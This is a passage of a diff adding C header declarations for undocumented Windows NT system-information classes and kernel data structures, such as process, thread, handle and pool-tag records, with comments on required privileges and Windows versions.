SYSTEM_REF_TRACE_INFORMATION // ObQueryRefTraceInformation + SystemSpecialPoolInformation, // q; s: SYSTEM_SPECIAL_POOL_INFORMATION (requires SeDebugPrivilege) // MmSpecialPoolTag, then MmSpecialPoolCatchOverruns != 0 + SystemProcessIdInformation, // q: SYSTEM_PROCESS_ID_INFORMATION + SystemErrorPortInformation, // s (requires SeTcbPrivilege) + SystemBootEnvironmentInformation, // q: SYSTEM_BOOT_ENVIRONMENT_INFORMATION // 90 + SystemHypervisorInformation, // q; s (kernel-mode only) + SystemVerifierInformationEx, // q; s: SYSTEM_VERIFIER_INFORMATION_EX + SystemTimeZoneInformation, // s (requires SeTimeZonePrivilege) + SystemImageFileExecutionOptionsInformation, // s: SYSTEM_IMAGE_FILE_EXECUTION_OPTIONS_INFORMATION (requires SeTcbPrivilege) + SystemCoverageInformation, // q; s // name:wow64:whNT32QuerySystemCoverageInformation; ExpCovQueryInformation + SystemPrefetchPatchInformation, // SYSTEM_PREFETCH_PATCH_INFORMATION + SystemVerifierFaultsInformation, // s: SYSTEM_VERIFIER_FAULTS_INFORMATION (requires SeDebugPrivilege) + SystemSystemPartitionInformation, // q: SYSTEM_SYSTEM_PARTITION_INFORMATION + SystemSystemDiskInformation, // q: SYSTEM_SYSTEM_DISK_INFORMATION + SystemProcessorPerformanceDistribution, // q: SYSTEM_PROCESSOR_PERFORMANCE_DISTRIBUTION // 100 + SystemNumaProximityNodeInformation, + SystemDynamicTimeZoneInformation, // q; s (requires SeTimeZonePrivilege) + SystemCodeIntegrityInformation, // q: SYSTEM_CODEINTEGRITY_INFORMATION // SeCodeIntegrityQueryInformation + SystemProcessorMicrocodeUpdateInformation, // s: SYSTEM_PROCESSOR_MICROCODE_UPDATE_INFORMATION + SystemProcessorBrandString, // q // HaliQuerySystemInformation -> HalpGetProcessorBrandString, info class 23 + SystemVirtualAddressInformation, // q: SYSTEM_VA_LIST_INFORMATION[]; s: SYSTEM_VA_LIST_INFORMATION[] (requires SeIncreaseQuotaPrivilege) // MmQuerySystemVaInformation + SystemLogicalProcessorAndGroupInformation, // q: SYSTEM_LOGICAL_PROCESSOR_INFORMATION_EX // since WIN7 // KeQueryLogicalProcessorRelationship + SystemProcessorCycleTimeInformation, // q: SYSTEM_PROCESSOR_CYCLE_TIME_INFORMATION[] + SystemStoreInformation, // q; s: SYSTEM_STORE_INFORMATION // SmQueryStoreInformation + SystemRegistryAppendString, // s: SYSTEM_REGISTRY_APPEND_STRING_PARAMETERS // 110 + SystemAitSamplingValue, // s: ULONG (requires SeProfileSingleProcessPrivilege) + SystemVhdBootInformation, // q: SYSTEM_VHD_BOOT_INFORMATION + SystemCpuQuotaInformation, // q; s: PS_CPU_QUOTA_QUERY_INFORMATION + SystemNativeBasicInformation, // q: SYSTEM_BASIC_INFORMATION + SystemErrorPortTimeouts, // SYSTEM_ERROR_PORT_TIMEOUTS + SystemLowPriorityIoInformation, // q: SYSTEM_LOW_PRIORITY_IO_INFORMATION + SystemTpmBootEntropyInformation, // q: TPM_BOOT_ENTROPY_NT_RESULT // ExQueryTpmBootEntropyInformation + SystemVerifierCountersInformation, // q: SYSTEM_VERIFIER_COUNTERS_INFORMATION + SystemPagedPoolInformationEx, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypePagedPool) + SystemSystemPtesInformationEx, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypeSystemPtes) // 120 + SystemNodeDistanceInformation, + SystemAcpiAuditInformation, // q: SYSTEM_ACPI_AUDIT_INFORMATION // HaliQuerySystemInformation -> HalpAuditQueryResults, info class 26 + SystemBasicPerformanceInformation, // q: SYSTEM_BASIC_PERFORMANCE_INFORMATION // name:wow64:whNtQuerySystemInformation_SystemBasicPerformanceInformation + SystemQueryPerformanceCounterInformation, // q: SYSTEM_QUERY_PERFORMANCE_COUNTER_INFORMATION // since WIN7 SP1 + SystemSessionBigPoolInformation, // q: SYSTEM_SESSION_POOLTAG_INFORMATION // since WIN8 + SystemBootGraphicsInformation, // q; s: SYSTEM_BOOT_GRAPHICS_INFORMATION (kernel-mode only) + SystemScrubPhysicalMemoryInformation, // q; s: MEMORY_SCRUB_INFORMATION + SystemBadPageInformation, + SystemProcessorProfileControlArea, // q; s: SYSTEM_PROCESSOR_PROFILE_CONTROL_AREA + SystemCombinePhysicalMemoryInformation, // s: MEMORY_COMBINE_INFORMATION, MEMORY_COMBINE_INFORMATION_EX, MEMORY_COMBINE_INFORMATION_EX2 // 130 + SystemEntropyInterruptTimingInformation, + SystemConsoleInformation, // q: SYSTEM_CONSOLE_INFORMATION + SystemPlatformBinaryInformation, // q: SYSTEM_PLATFORM_BINARY_INFORMATION + SystemPolicyInformation, // q: SYSTEM_POLICY_INFORMATION + SystemHypervisorProcessorCountInformation, // q: SYSTEM_HYPERVISOR_PROCESSOR_COUNT_INFORMATION + SystemDeviceDataInformation, // q: SYSTEM_DEVICE_DATA_INFORMATION + SystemDeviceDataEnumerationInformation, // q: SYSTEM_DEVICE_DATA_INFORMATION + SystemMemoryTopologyInformation, // q: SYSTEM_MEMORY_TOPOLOGY_INFORMATION + SystemMemoryChannelInformation, // q: SYSTEM_MEMORY_CHANNEL_INFORMATION + SystemBootLogoInformation, // q: SYSTEM_BOOT_LOGO_INFORMATION // 140 + SystemProcessorPerformanceInformationEx, // q: SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION_EX // since WINBLUE + SystemCriticalProcessErrorLogInformation, + SystemSecureBootPolicyInformation, // q: SYSTEM_SECUREBOOT_POLICY_INFORMATION + SystemPageFileInformationEx, // q: SYSTEM_PAGEFILE_INFORMATION_EX + SystemSecureBootInformation, // q: SYSTEM_SECUREBOOT_INFORMATION + SystemEntropyInterruptTimingRawInformation, + SystemPortableWorkspaceEfiLauncherInformation, // q: SYSTEM_PORTABLE_WORKSPACE_EFI_LAUNCHER_INFORMATION + SystemFullProcessInformation, // q: SYSTEM_PROCESS_INFORMATION with SYSTEM_PROCESS_INFORMATION_EXTENSION (requires admin) + SystemKernelDebuggerInformationEx, // q: SYSTEM_KERNEL_DEBUGGER_INFORMATION_EX + SystemBootMetadataInformation, // 150 + SystemSoftRebootInformation, // q: ULONG + SystemElamCertificateInformation, // s: SYSTEM_ELAM_CERTIFICATE_INFORMATION + SystemOfflineDumpConfigInformation, + SystemProcessorFeaturesInformation, // q: SYSTEM_PROCESSOR_FEATURES_INFORMATION + SystemRegistryReconciliationInformation, // s: NULL (requires admin) (flushes registry hives) + SystemEdidInformation, + SystemManufacturingInformation, // q: SYSTEM_MANUFACTURING_INFORMATION // since THRESHOLD + SystemEnergyEstimationConfigInformation, // q: SYSTEM_ENERGY_ESTIMATION_CONFIG_INFORMATION + SystemHypervisorDetailInformation, // q: SYSTEM_HYPERVISOR_DETAIL_INFORMATION + SystemProcessorCycleStatsInformation, // q: SYSTEM_PROCESSOR_CYCLE_STATS_INFORMATION // 160 + SystemVmGenerationCountInformation, + SystemTrustedPlatformModuleInformation, // q: SYSTEM_TPM_INFORMATION + SystemKernelDebuggerFlags, // SYSTEM_KERNEL_DEBUGGER_FLAGS + SystemCodeIntegrityPolicyInformation, // q: SYSTEM_CODEINTEGRITYPOLICY_INFORMATION + SystemIsolatedUserModeInformation, // q: SYSTEM_ISOLATED_USER_MODE_INFORMATION + SystemHardwareSecurityTestInterfaceResultsInformation, + SystemSingleModuleInformation, // q: SYSTEM_SINGLE_MODULE_INFORMATION + SystemAllowedCpuSetsInformation, + SystemVsmProtectionInformation, // q: SYSTEM_VSM_PROTECTION_INFORMATION (previously SystemDmaProtectionInformation) + SystemInterruptCpuSetsInformation, // q: SYSTEM_INTERRUPT_CPU_SET_INFORMATION // 170 + SystemSecureBootPolicyFullInformation, // q: SYSTEM_SECUREBOOT_POLICY_FULL_INFORMATION + SystemCodeIntegrityPolicyFullInformation, + SystemAffinitizedInterruptProcessorInformation, + SystemRootSiloInformation, // q: SYSTEM_ROOT_SILO_INFORMATION + SystemCpuSetInformation, // q: SYSTEM_CPU_SET_INFORMATION // since THRESHOLD2 + SystemCpuSetTagInformation, // q: SYSTEM_CPU_SET_TAG_INFORMATION + SystemWin32WerStartCallout, + SystemSecureKernelProfileInformation, // q: SYSTEM_SECURE_KERNEL_HYPERGUARD_PROFILE_INFORMATION + SystemCodeIntegrityPlatformManifestInformation, // q: SYSTEM_SECUREBOOT_PLATFORM_MANIFEST_INFORMATION // since REDSTONE + SystemInterruptSteeringInformation, // SYSTEM_INTERRUPT_STEERING_INFORMATION_INPUT // 180 + SystemSupportedProcessorArchitectures, // in: HANDLE, out: ULONG[3] // NtQuerySystemInformationEx + SystemMemoryUsageInformation, // q: SYSTEM_MEMORY_USAGE_INFORMATION + SystemCodeIntegrityCertificateInformation, // q: SYSTEM_CODEINTEGRITY_CERTIFICATE_INFORMATION + SystemPhysicalMemoryInformation, // q: SYSTEM_PHYSICAL_MEMORY_INFORMATION // since REDSTONE2 + SystemControlFlowTransition, + SystemKernelDebuggingAllowed, // s: ULONG + SystemActivityModerationExeState, // SYSTEM_ACTIVITY_MODERATION_EXE_STATE + SystemActivityModerationUserSettings, // SYSTEM_ACTIVITY_MODERATION_USER_SETTINGS + SystemCodeIntegrityPoliciesFullInformation, + SystemCodeIntegrityUnlockInformation, // SYSTEM_CODEINTEGRITY_UNLOCK_INFORMATION // 190 + SystemIntegrityQuotaInformation, + SystemFlushInformation, // q: SYSTEM_FLUSH_INFORMATION + SystemProcessorIdleMaskInformation, // q: ULONG_PTR // since REDSTONE3 + SystemSecureDumpEncryptionInformation, + SystemWriteConstraintInformation, // SYSTEM_WRITE_CONSTRAINT_INFORMATION + SystemKernelVaShadowInformation, // SYSTEM_KERNEL_VA_SHADOW_INFORMATION + SystemHypervisorSharedPageInformation, // SYSTEM_HYPERVISOR_SHARED_PAGE_INFORMATION // since REDSTONE4 + SystemFirmwareBootPerformanceInformation, + SystemCodeIntegrityVerificationInformation, // SYSTEM_CODEINTEGRITYVERIFICATION_INFORMATION + SystemFirmwarePartitionInformation, // SYSTEM_FIRMWARE_PARTITION_INFORMATION // 200 + SystemSpeculationControlInformation, // SYSTEM_SPECULATION_CONTROL_INFORMATION // (CVE-2017-5715) REDSTONE3 and above. + SystemDmaGuardPolicyInformation, // SYSTEM_DMA_GUARD_POLICY_INFORMATION + SystemEnclaveLaunchControlInformation, // SYSTEM_ENCLAVE_LAUNCH_CONTROL_INFORMATION + SystemWorkloadAllowedCpuSetsInformation, // SYSTEM_WORKLOAD_ALLOWED_CPU_SET_INFORMATION // since REDSTONE5 + SystemCodeIntegrityUnlockModeInformation, + SystemLeapSecondInformation, // SYSTEM_LEAP_SECOND_INFORMATION + SystemFlags2Information, // q: SYSTEM_FLAGS_INFORMATION + SystemSecurityModelInformation, // SYSTEM_SECURITY_MODEL_INFORMATION // since 19H1 + SystemCodeIntegritySyntheticCacheInformation, + SystemFeatureConfigurationInformation, // SYSTEM_FEATURE_CONFIGURATION_INFORMATION // since 20H1 // 210 + SystemFeatureConfigurationSectionInformation, // SYSTEM_FEATURE_CONFIGURATION_SECTIONS_INFORMATION + SystemFeatureUsageSubscriptionInformation, + SystemSecureSpeculationControlInformation, // SECURE_SPECULATION_CONTROL_INFORMATION + SystemSpacesBootInformation, // since 20H2 + SystemFwRamdiskInformation, // SYSTEM_FIRMWARE_RAMDISK_INFORMATION + SystemWheaIpmiHardwareInformation, + SystemDifSetRuleClassInformation, + SystemDifClearRuleClassInformation, + SystemDifApplyPluginVerificationOnDriver, + SystemDifRemovePluginVerificationOnDriver, // 220 + SystemShadowStackInformation, // SYSTEM_SHADOW_STACK_INFORMATION + SystemBuildVersionInformation, // SYSTEM_BUILD_VERSION_INFORMATION + SystemPoolLimitInformation, // SYSTEM_POOL_LIMIT_INFORMATION + SystemCodeIntegrityAddDynamicStore, + SystemCodeIntegrityClearDynamicStores, + SystemDifPoolTrackingInformation, + SystemPoolZeroingInformation, // SYSTEM_POOL_ZEROING_INFORMATION + SystemDpcWatchdogInformation, + SystemDpcWatchdogInformation2, + SystemSupportedProcessorArchitectures2, // q: in opt: HANDLE, out: SYSTEM_SUPPORTED_PROCESSOR_ARCHITECTURES_INFORMATION[] // NtQuerySystemInformationEx // 230 + SystemSingleProcessorRelationshipInformation, + SystemXfgCheckFailureInformation, + SystemIommuStateInformation, // SYSTEM_IOMMU_STATE_INFORMATION // since 11H1 + SystemHypervisorMinrootInformation, // SYSTEM_HYPERVISOR_MINROOT_INFORMATION + SystemHypervisorBootPagesInformation, // SYSTEM_HYPERVISOR_BOOT_PAGES_INFORMATION + SystemPointerAuthInformation, // SYSTEM_POINTER_AUTH_INFORMATION + SystemSecureKernelDebuggerInformation, + SystemOriginalImageFeatureInformation, + MaxSystemInfoClass +} SYSTEM_INFORMATION_CLASS; + +typedef struct _SYSTEM_BASIC_INFORMATION +{ + ULONG Reserved; + ULONG TimerResolution; + ULONG PageSize; + ULONG NumberOfPhysicalPages; + ULONG LowestPhysicalPageNumber; + ULONG HighestPhysicalPageNumber; + ULONG AllocationGranularity; + ULONG_PTR MinimumUserModeAddress; + ULONG_PTR MaximumUserModeAddress; + ULONG_PTR ActiveProcessorsAffinityMask; + CCHAR NumberOfProcessors; +} SYSTEM_BASIC_INFORMATION, * PSYSTEM_BASIC_INFORMATION; + +typedef struct _SYSTEM_PROCESSOR_INFORMATION +{ + USHORT ProcessorArchitecture; + USHORT ProcessorLevel; + USHORT ProcessorRevision; + USHORT MaximumProcessors; + ULONG ProcessorFeatureBits; +} SYSTEM_PROCESSOR_INFORMATION, * PSYSTEM_PROCESSOR_INFORMATION; + +typedef struct _SYSTEM_PERFORMANCE_INFORMATION +{ + LARGE_INTEGER IdleProcessTime; + LARGE_INTEGER IoReadTransferCount; + LARGE_INTEGER IoWriteTransferCount; + LARGE_INTEGER IoOtherTransferCount; + ULONG IoReadOperationCount; + ULONG IoWriteOperationCount; + ULONG IoOtherOperationCount; + ULONG AvailablePages; + ULONG CommittedPages; + ULONG CommitLimit; + ULONG PeakCommitment; + ULONG PageFaultCount; + ULONG CopyOnWriteCount; + ULONG TransitionCount; + ULONG CacheTransitionCount; + ULONG DemandZeroCount; + ULONG PageReadCount; + ULONG PageReadIoCount; + ULONG CacheReadCount; + ULONG CacheIoCount; + ULONG DirtyPagesWriteCount; + ULONG DirtyWriteIoCount; + ULONG MappedPagesWriteCount; + ULONG MappedWriteIoCount; + ULONG PagedPoolPages; + ULONG NonPagedPoolPages; + ULONG PagedPoolAllocs; + ULONG PagedPoolFrees; + ULONG NonPagedPoolAllocs; + ULONG NonPagedPoolFrees; + ULONG FreeSystemPtes; + ULONG ResidentSystemCodePage; + ULONG TotalSystemDriverPages; + ULONG TotalSystemCodePages; + ULONG NonPagedPoolLookasideHits; + ULONG PagedPoolLookasideHits; + ULONG AvailablePagedPoolPages; + ULONG ResidentSystemCachePage; + ULONG ResidentPagedPoolPage; + ULONG ResidentSystemDriverPage; + ULONG CcFastReadNoWait; + ULONG CcFastReadWait; + ULONG CcFastReadResourceMiss; + ULONG CcFastReadNotPossible; + ULONG CcFastMdlReadNoWait; + ULONG CcFastMdlReadWait; + ULONG CcFastMdlReadResourceMiss; + ULONG CcFastMdlReadNotPossible; + ULONG CcMapDataNoWait; + ULONG CcMapDataWait; + ULONG CcMapDataNoWaitMiss; + ULONG CcMapDataWaitMiss; + ULONG CcPinMappedDataCount; + ULONG CcPinReadNoWait; + ULONG CcPinReadWait; + ULONG CcPinReadNoWaitMiss; + ULONG CcPinReadWaitMiss; + ULONG CcCopyReadNoWait; + ULONG CcCopyReadWait; + ULONG CcCopyReadNoWaitMiss; + ULONG CcCopyReadWaitMiss; + ULONG CcMdlReadNoWait; + ULONG CcMdlReadWait; + ULONG CcMdlReadNoWaitMiss; + ULONG CcMdlReadWaitMiss; + ULONG CcReadAheadIos; + ULONG CcLazyWriteIos; + ULONG CcLazyWritePages; + ULONG CcDataFlushes; + ULONG CcDataPages; + ULONG ContextSwitches; + ULONG FirstLevelTbFills; + ULONG SecondLevelTbFills; + ULONG SystemCalls; + ULONGLONG CcTotalDirtyPages; // since THRESHOLD + ULONGLONG CcDirtyPageThreshold; // since THRESHOLD + LONGLONG ResidentAvailablePages; // since THRESHOLD + ULONGLONG SharedCommittedPages; // since THRESHOLD +} SYSTEM_PERFORMANCE_INFORMATION, * PSYSTEM_PERFORMANCE_INFORMATION; + +typedef struct _SYSTEM_TIMEOFDAY_INFORMATION +{ + LARGE_INTEGER BootTime; + LARGE_INTEGER CurrentTime; + LARGE_INTEGER TimeZoneBias; + ULONG TimeZoneId; + ULONG Reserved; + ULONGLONG BootTimeBias; + ULONGLONG SleepTimeBias; +} SYSTEM_TIMEOFDAY_INFORMATION, * PSYSTEM_TIMEOFDAY_INFORMATION; + +typedef struct _SYSTEM_THREAD_INFORMATION +{ + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER CreateTime; + ULONG WaitTime; + PVOID StartAddress; + CLIENT_ID ClientId; + KPRIORITY Priority; + LONG BasePriority; + ULONG ContextSwitches; + KTHREAD_STATE ThreadState; + KWAIT_REASON WaitReason; +} SYSTEM_THREAD_INFORMATION, * PSYSTEM_THREAD_INFORMATION; + +typedef struct _TEB TEB, * PTEB; + +// private +typedef struct _SYSTEM_EXTENDED_THREAD_INFORMATION +{ + SYSTEM_THREAD_INFORMATION ThreadInfo; + PVOID StackBase; + PVOID StackLimit; + PVOID Win32StartAddress; + PTEB TebBase; // since VISTA + ULONG_PTR Reserved2; + ULONG_PTR Reserved3; + ULONG_PTR Reserved4; +} SYSTEM_EXTENDED_THREAD_INFORMATION, * PSYSTEM_EXTENDED_THREAD_INFORMATION; + +typedef struct _SYSTEM_PROCESS_INFORMATION +{ + ULONG NextEntryOffset; + ULONG NumberOfThreads; + LARGE_INTEGER WorkingSetPrivateSize; // since VISTA + ULONG HardFaultCount; // since WIN7 + ULONG NumberOfThreadsHighWatermark; // since WIN7 + ULONGLONG CycleTime; // since WIN7 + LARGE_INTEGER CreateTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER KernelTime; + UNICODE_STRING ImageName; + KPRIORITY BasePriority; + HANDLE UniqueProcessId; + HANDLE InheritedFromUniqueProcessId; + ULONG HandleCount; + ULONG SessionId; + ULONG_PTR UniqueProcessKey; // since VISTA (requires SystemExtendedProcessInformation) + SIZE_T PeakVirtualSize; + SIZE_T VirtualSize; + ULONG PageFaultCount; + SIZE_T PeakWorkingSetSize; + SIZE_T WorkingSetSize; + SIZE_T QuotaPeakPagedPoolUsage; + SIZE_T QuotaPagedPoolUsage; + SIZE_T QuotaPeakNonPagedPoolUsage; + SIZE_T QuotaNonPagedPoolUsage; + SIZE_T PagefileUsage; + SIZE_T PeakPagefileUsage; + SIZE_T PrivatePageCount; + LARGE_INTEGER ReadOperationCount; + LARGE_INTEGER WriteOperationCount; + LARGE_INTEGER OtherOperationCount; + LARGE_INTEGER ReadTransferCount; + LARGE_INTEGER WriteTransferCount; + LARGE_INTEGER OtherTransferCount; + SYSTEM_THREAD_INFORMATION Threads[1]; // SystemProcessInformation + // SYSTEM_EXTENDED_THREAD_INFORMATION Threads[1]; // SystemExtendedProcessinformation + // SYSTEM_EXTENDED_THREAD_INFORMATION + SYSTEM_PROCESS_INFORMATION_EXTENSION // SystemFullProcessInformation +} SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION; + +typedef struct _SYSTEM_CALL_COUNT_INFORMATION +{ + ULONG Length; + ULONG NumberOfTables; +} SYSTEM_CALL_COUNT_INFORMATION, * PSYSTEM_CALL_COUNT_INFORMATION; + +typedef struct _SYSTEM_DEVICE_INFORMATION +{ + ULONG NumberOfDisks; + ULONG NumberOfFloppies; + ULONG NumberOfCdRoms; + ULONG NumberOfTapes; + ULONG NumberOfSerialPorts; + ULONG NumberOfParallelPorts; +} SYSTEM_DEVICE_INFORMATION, * PSYSTEM_DEVICE_INFORMATION; + +typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION +{ + LARGE_INTEGER IdleTime; + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER DpcTime; + LARGE_INTEGER InterruptTime; + ULONG InterruptCount; +} SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION, * PSYSTEM_PROCESSOR_PERFORMANCE_INFORMATION; + +typedef struct _SYSTEM_FLAGS_INFORMATION +{ + ULONG Flags; // NtGlobalFlag +} SYSTEM_FLAGS_INFORMATION, * PSYSTEM_FLAGS_INFORMATION; + +// private +typedef struct _SYSTEM_CALL_TIME_INFORMATION +{ + ULONG Length; + ULONG TotalCalls; + LARGE_INTEGER TimeOfCalls[1]; +} SYSTEM_CALL_TIME_INFORMATION, * PSYSTEM_CALL_TIME_INFORMATION; + +// private +typedef struct _RTL_PROCESS_LOCK_INFORMATION +{ + PVOID Address; + USHORT Type; + USHORT CreatorBackTraceIndex; + HANDLE OwningThread; + LONG LockCount; + ULONG ContentionCount; + ULONG EntryCount; + LONG RecursionCount; + ULONG NumberOfWaitingShared; + ULONG NumberOfWaitingExclusive; +} RTL_PROCESS_LOCK_INFORMATION, * PRTL_PROCESS_LOCK_INFORMATION; + +// private +typedef struct _RTL_PROCESS_LOCKS +{ + ULONG NumberOfLocks; + RTL_PROCESS_LOCK_INFORMATION Locks[1]; +} RTL_PROCESS_LOCKS, * PRTL_PROCESS_LOCKS; + +// private +typedef struct _RTL_PROCESS_BACKTRACE_INFORMATION +{ + PCHAR SymbolicBackTrace; + ULONG TraceCount; + USHORT Index; + USHORT Depth; + PVOID BackTrace[32]; +} RTL_PROCESS_BACKTRACE_INFORMATION, * PRTL_PROCESS_BACKTRACE_INFORMATION; + +// private +typedef struct _RTL_PROCESS_BACKTRACES +{ + ULONG CommittedMemory; + ULONG ReservedMemory; + ULONG NumberOfBackTraceLookups; + ULONG NumberOfBackTraces; + RTL_PROCESS_BACKTRACE_INFORMATION BackTraces[1]; +} RTL_PROCESS_BACKTRACES, * PRTL_PROCESS_BACKTRACES; + +typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO +{ + USHORT UniqueProcessId; + USHORT CreatorBackTraceIndex; + UCHAR ObjectTypeIndex; + UCHAR HandleAttributes; + USHORT HandleValue; + PVOID Object; + ULONG GrantedAccess; +} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO; + +typedef struct _SYSTEM_HANDLE_INFORMATION +{ + ULONG NumberOfHandles; + SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1]; +} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION; + +typedef struct _SYSTEM_OBJECTTYPE_INFORMATION +{ + ULONG NextEntryOffset; + ULONG NumberOfObjects; + ULONG NumberOfHandles; + ULONG TypeIndex; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ULONG ValidAccessMask; + ULONG PoolType; + BOOLEAN SecurityRequired; + BOOLEAN WaitableObject; + UNICODE_STRING TypeName; +} SYSTEM_OBJECTTYPE_INFORMATION, * PSYSTEM_OBJECTTYPE_INFORMATION; + +typedef struct _SYSTEM_OBJECT_INFORMATION +{ + ULONG NextEntryOffset; + PVOID Object; + HANDLE CreatorUniqueProcess; + USHORT CreatorBackTraceIndex; + USHORT Flags; + LONG PointerCount; + LONG HandleCount; + ULONG PagedPoolCharge; + ULONG NonPagedPoolCharge; + HANDLE ExclusiveProcessId; + PVOID SecurityDescriptor; + UNICODE_STRING NameInfo; +} SYSTEM_OBJECT_INFORMATION, * PSYSTEM_OBJECT_INFORMATION; + +typedef struct _SYSTEM_PAGEFILE_INFORMATION +{ + ULONG NextEntryOffset; + ULONG TotalSize; + ULONG TotalInUse; + ULONG PeakUsage; + UNICODE_STRING PageFileName; +} SYSTEM_PAGEFILE_INFORMATION, * PSYSTEM_PAGEFILE_INFORMATION; + +typedef struct _SYSTEM_VDM_INSTEMUL_INFO +{ + ULONG SegmentNotPresent; + ULONG VdmOpcode0F; + ULONG OpcodeESPrefix; + ULONG OpcodeCSPrefix; + ULONG OpcodeSSPrefix; + ULONG OpcodeDSPrefix; + ULONG OpcodeFSPrefix; + ULONG OpcodeGSPrefix; + ULONG OpcodeOPER32Prefix; + ULONG OpcodeADDR32Prefix; + ULONG OpcodeINSB; + ULONG OpcodeINSW; + ULONG OpcodeOUTSB; + ULONG OpcodeOUTSW; + ULONG OpcodePUSHF; + ULONG OpcodePOPF; + ULONG OpcodeINTnn; + ULONG OpcodeINTO; + ULONG OpcodeIRET; + ULONG OpcodeINBimm; + ULONG OpcodeINWimm; + ULONG OpcodeOUTBimm; + ULONG OpcodeOUTWimm; + ULONG OpcodeINB; + ULONG OpcodeINW; + ULONG OpcodeOUTB; + ULONG OpcodeOUTW; + ULONG OpcodeLOCKPrefix; + ULONG OpcodeREPNEPrefix; + ULONG OpcodeREPPrefix; + ULONG OpcodeHLT; + ULONG OpcodeCLI; + ULONG OpcodeSTI; + ULONG BopCount; +} SYSTEM_VDM_INSTEMUL_INFO, * PSYSTEM_VDM_INSTEMUL_INFO; + +#define MM_WORKING_SET_MAX_HARD_ENABLE 0x1 +#define MM_WORKING_SET_MAX_HARD_DISABLE 0x2 +#define MM_WORKING_SET_MIN_HARD_ENABLE 0x4 +#define MM_WORKING_SET_MIN_HARD_DISABLE 0x8 + +typedef struct _SYSTEM_FILECACHE_INFORMATION +{ + SIZE_T CurrentSize; + SIZE_T PeakSize; + ULONG PageFaultCount; + SIZE_T MinimumWorkingSet; + SIZE_T MaximumWorkingSet; + SIZE_T CurrentSizeIncludingTransitionInPages; + SIZE_T PeakSizeIncludingTransitionInPages; + ULONG TransitionRePurposeCount; + ULONG Flags; +} SYSTEM_FILECACHE_INFORMATION, * PSYSTEM_FILECACHE_INFORMATION; + +// Can be used instead of SYSTEM_FILECACHE_INFORMATION +typedef struct _SYSTEM_BASIC_WORKING_SET_INFORMATION +{ + SIZE_T CurrentSize; + SIZE_T PeakSize; + ULONG PageFaultCount; +} SYSTEM_BASIC_WORKING_SET_INFORMATION, * PSYSTEM_BASIC_WORKING_SET_INFORMATION; + +typedef struct _SYSTEM_POOLTAG +{ + union + { + UCHAR Tag[4]; + ULONG TagUlong; + }; + ULONG PagedAllocs; + ULONG PagedFrees; + SIZE_T PagedUsed; + ULONG NonPagedAllocs; + ULONG NonPagedFrees; + SIZE_T NonPagedUsed; +} SYSTEM_POOLTAG, * PSYSTEM_POOLTAG; + +typedef struct _SYSTEM_POOLTAG_INFORMATION +{ + ULONG Count; + SYSTEM_POOLTAG TagInfo[1]; +} SYSTEM_POOLTAG_INFORMATION, * PSYSTEM_POOLTAG_INFORMATION; + +typedef struct _SYSTEM_INTERRUPT_INFORMATION +{ + ULONG ContextSwitches; + ULONG DpcCount; + ULONG DpcRate; + ULONG TimeIncrement; + ULONG DpcBypassCount; + ULONG ApcBypassCount; +} SYSTEM_INTERRUPT_INFORMATION, * PSYSTEM_INTERRUPT_INFORMATION; + +typedef struct _SYSTEM_DPC_BEHAVIOR_INFORMATION +{ + ULONG Spare; + ULONG DpcQueueDepth; + ULONG MinimumDpcRate; + ULONG AdjustDpcThreshold; + ULONG IdealDpcRate; +} SYSTEM_DPC_BEHAVIOR_INFORMATION, * PSYSTEM_DPC_BEHAVIOR_INFORMATION; + +typedef struct _SYSTEM_QUERY_TIME_ADJUST_INFORMATION +{ + ULONG TimeAdjustment; + ULONG TimeIncrement; + BOOLEAN Enable; +} SYSTEM_QUERY_TIME_ADJUST_INFORMATION, * PSYSTEM_QUERY_TIME_ADJUST_INFORMATION; + +typedef struct _SYSTEM_QUERY_TIME_ADJUST_INFORMATION_PRECISE +{ + ULONGLONG TimeAdjustment; + ULONGLONG TimeIncrement; + BOOLEAN Enable; +} SYSTEM_QUERY_TIME_ADJUST_INFORMATION_PRECISE, * PSYSTEM_QUERY_TIME_ADJUST_INFORMATION_PRECISE; + +typedef struct _SYSTEM_SET_TIME_ADJUST_INFORMATION +{ + ULONG TimeAdjustment; + BOOLEAN Enable; +} SYSTEM_SET_TIME_ADJUST_INFORMATION, * PSYSTEM_SET_TIME_ADJUST_INFORMATION; + +typedef struct _SYSTEM_SET_TIME_ADJUST_INFORMATION_PRECISE +{ + ULONGLONG TimeAdjustment; + BOOLEAN Enable; +} SYSTEM_SET_TIME_ADJUST_INFORMATION_PRECISE, * PSYSTEM_SET_TIME_ADJUST_INFORMATION_PRECISE; + +#ifndef _TRACEHANDLE_DEFINED +#define _TRACEHANDLE_DEFINED +typedef ULONG64 TRACEHANDLE, * PTRACEHANDLE; +#endif + +typedef enum _EVENT_TRACE_INFORMATION_CLASS +{ + EventTraceKernelVersionInformation, // EVENT_TRACE_VERSION_INFORMATION + EventTraceGroupMaskInformation, // EVENT_TRACE_GROUPMASK_INFORMATION + EventTracePerformanceInformation, // EVENT_TRACE_PERFORMANCE_INFORMATION + EventTraceTimeProfileInformation, // EVENT_TRACE_TIME_PROFILE_INFORMATION + EventTraceSessionSecurityInformation, // EVENT_TRACE_SESSION_SECURITY_INFORMATION + EventTraceSpinlockInformation, // EVENT_TRACE_SPINLOCK_INFORMATION + EventTraceStackTracingInformation, // EVENT_TRACE_SYSTEM_EVENT_INFORMATION + EventTraceExecutiveResourceInformation, // EVENT_TRACE_EXECUTIVE_RESOURCE_INFORMATION + EventTraceHeapTracingInformation, // EVENT_TRACE_HEAP_TRACING_INFORMATION + EventTraceHeapSummaryTracingInformation, // EVENT_TRACE_HEAP_TRACING_INFORMATION + EventTracePoolTagFilterInformation, // 